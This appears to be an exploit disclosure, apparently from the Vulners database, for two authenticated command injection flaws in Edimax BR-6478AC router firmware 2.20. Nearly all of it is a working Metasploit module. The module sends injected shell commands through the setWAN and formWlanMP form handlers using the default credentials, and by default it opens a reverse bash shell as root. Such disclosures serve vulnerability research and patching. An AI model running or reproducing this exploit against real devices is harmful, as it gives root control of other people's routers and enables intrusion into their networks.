Edimax BR-6478AC 2.20 Authenticated Command Injection
==================================================================================================================================
| # Title : Edimax BR-6478AC 2.20 Authenticated Command Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits) |
| # Vendor : https://www.edimax.com/edimax/global |
==================================================================================================================================
[+] Summary : Edimax BR-6478AC firmware v2.20 contains two authenticated OS command injection vulnerabilities in the shipped web server (bin/webs, MIPS big-endian, uClibc
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Edimax BR-6478AC v2.20 Authenticated Command Injection',
'Description' => %q{
Edimax BR-6478AC firmware v2.20 contains two authenticated OS command
injection vulnerabilities in the shipped web server (bin/webs, MIPS
big-endian, uClibc):
1. SETWAN - POST /goform/setWAN with wanMode=2 (or 3 or 6) passes
pppUserName (or pptpUserName / L2TPUserName) through a single
semicolon scan, then sprintf into "echo %s > /tmp/UserName" and
system(). A payload without ';' (e.g. "|cmd > marker #") reaches the
shell untouched and comments out the sink's own redirect.
2. FORMWLANMP - POST /goform/formWlanMP passes 30 ATE/EEPROM form
fields through sprintf into "/bin/rftest_old.sh %s %s ..." and
system(), with no filtering at all. A command substitution
"$(cmd > marker)" executes before the (missing) script is resolved.
Both handlers require HTTP Basic authentication. webs runs as root per
the shipped boa.conf 'User root' directive, so the injected command
executes with uid=0.
},
'Author' => [ 'indoushka' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://seclists.org/fulldisclosure/2026/Oct/63' ],
[ 'CWE', 'CWE-78' ]
],
'DisclosureDate' => '2026-10-28',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Unix Command', {}]],
'DefaultTarget' => 0,
'Privileged' => true,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
))
register_options([
Opt::RPORT(80),
OptBool.new('SSL', [false, 'Use SSL', false]),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'HTTP Basic username', 'admin']),
OptString.new('PASSWORD', [true, 'HTTP Basic password', '1234']),
OptEnum.new('HANDLER', [true, 'Vulnerable handler', 'SETWAN', ['SETWAN', 'FORMWLANMP']]),
OptString.new('WANMODE', [true, 'wanMode (2=PPP, 3=PPTP, 6=L2TP)', '2']),
OptString.new('MARKER', [true, 'On-device marker path',
'/tmp/edimax-br6478ac-marker']),
OptString.new('SUBMIT_URL', [true, 'submit-url form field value', '/wan.asp']),
OptInt.new('TIMEOUT', [true, 'Per-request timeout in seconds', 8])
])
end
FORMWLANMP_FIELDS = %w[
ateFunc ateGain ateTxCount ateChan ateRate ateMacID
e2pTxPower1 e2pTxPower2 e2pTxPower3 e2pTxPower4 e2pTxPower5
e2pTxPower6 e2pTxPower7
e2pTx2Power1 e2pTx2Power2 e2pTx2Power3 e2pTx2Power4
e2pTx2Power5 e2pTx2Power6 e2pTx2Power7
ateTxFreqOffset ateMode ateBW ateAntenna e2pTxFreqOffset
e2pTxPwDeltaB e2pTxPwDeltaG e2pTxPwDeltaMix e2pTxPwDeltaN
readE2P
]
BENIGN_VALUES = {
'ateFunc' => '11b', 'ateGain' => '1', 'ateTxCount' => '100',
'ateChan' => '6', 'ateRate' => '11', 'ateMacID' => '1',
'ateTxFreqOffset' => '0', 'ateMode' => '1', 'ateBW' => '1',
'ateAntenna' => '1', 'e2pTxFreqOffset' => '0', 'readE2P' => '0'
}
WANMODE_FIELDS = {
'2' => 'pppUserName',
'3' => 'pptpUserName',
'6' => 'L2TPUserName'
}
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wan.asp')
}, datastore['TIMEOUT'])
return Exploit::CheckCode::Unknown unless res
if res.code == 200 || res.code == 401
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
case datastore['HANDLER']
when 'SETWAN' then exploit_setwan
when 'FORMWLANMP' then exploit_formwlanmp
end
end
def exploit_setwan
mode = datastore['WANMODE']
unless WANMODE_FIELDS.key?(mode)
fail_with(Failure::BadConfig, "WANMODE must be 2, 3 or 6 (got #{mode})")
end
field = WANMODE_FIELDS[mode]
marker = datastore['MARKER']
payload_value = "|#{payload.encoded} > #{marker} #"
print_status("Handler : SETWAN (wanMode=#{mode}, field=#{field})")
print_status("Payload : #{payload_value}")
print_status("Sink : sprintf(\"echo %s > /tmp/UserName\") -> system()")
print_status("'#' comments out the sink's own redirect; '|' starts a pipeline")
fields = {
'wanMode' => mode,
field => payload_value,
'submit-url' => datastore['SUBMIT_URL']
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'goform', 'setWAN'),
'ctype' => 'application/x-www-form-urlencoded',
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'vars_post' => fields
}, datastore['TIMEOUT'])
handle_response(res, marker)
end
def exploit_formwlanmp
marker = datastore['MARKER']
field = 'ateFunc'
payload_value = "$(#{payload.encoded} > #{marker} 2>&1)"
print_status("Handler : FORMWLANMP (field=#{field})")
print_status("Payload : #{payload_value}")
print_status("Sink : sprintf(\"/bin/rftest_old.sh %s %s ...\" x30) -> system()")
print_status("No filtering at all; command substitution runs before script lookup")
fields = {}
FORMWLANMP_FIELDS.each do |name|
fields[name] = (name == field) ? payload_value : BENIGN_VALUES.fetch(name, '')
end
fields['submit-url'] = datastore['SUBMIT_URL']
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'goform', 'formWlanMP'),
'ctype' => 'application/x-www-form-urlencoded',
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'vars_post' => fields
}, datastore['TIMEOUT'])
handle_response(res, marker)
end
def handle_response(res, marker)
unless res
fail_with(Failure::Unreachable, 'No response from target')
end
print_status("HTTP #{res.code} (body: #{res.body.to_s.bytesize} bytes)")
case res.code
when 401
fail_with(Failure::NoAccess, 'HTTP Basic credential rejected by the gate')
when 301, 302, 303, 307, 308
location = res.headers['Location'] || res.headers['location'] || ''
print_warning("Redirected to #{location}")
print_warning('If redirected to /index.asp, the request was not dispatched to the handler')
when 200..299
print_good('Request dispatched to the handler')
end
print_status('On the device, the injected command runs as root (webs runs with uid=0)')
print_status("Read the marker at #{marker} via a second authenticated request,")
print_status('a serial console, or SSH to confirm execution')
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Nov 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6